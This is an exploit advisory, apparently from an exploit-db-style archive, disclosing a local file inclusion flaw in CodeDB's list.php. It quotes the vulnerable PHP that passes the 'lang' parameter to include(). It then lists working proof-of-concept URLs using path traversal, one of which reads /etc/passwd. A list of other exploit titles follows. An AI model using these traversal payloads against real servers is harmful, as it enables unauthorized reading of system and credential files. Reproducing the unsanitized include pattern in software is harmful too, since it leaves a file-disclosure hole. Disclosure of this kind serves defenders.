###############################################################################
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;*
#
###############################################################################
Source :
// list.php
2. $lang = htmlspecialchars($_GET['lang']); // ok, but.... for what ? lol
7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have to cut off rest of filename & extension
8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned ;d
Proof of Concept :
http://[host]/[codeDB_path]/list.php?lang=../readme.txt
http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd
http://[host]/[codeDB_path]/list.php?lang=../[local_file]
EoF.
【CodeDB (list.php lang) Local File Inclusion Vulnerability】相关文章:
★ Wordpress Plugin Download Manager 0.2 Arbitrary File Upload Exploit
★ Maian Events 2.0 Insecure Cookie Handling Vulnerability
★ VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability
★ jSite 1.0 OE (SQL/LFI) Multiple Remote Vulnerabilities
★ Dreampics Builder (page) Remote SQL Injection Vulnerability
★ Maian Music 1.0 Insecure Cookie Handling Vulnerability
★ Maian Gallery 2.0 Insecure Cookie Handling Vulnerability
★ tplSoccerSite 1.0 Multiple Remote SQL Injection Vulnerabilities
★ Pluck 4.5.1 (blogpost) Local File Inclusion Vulnerability (win only)
★ Joomla Component DT Register Remote SQL injection Vulnerability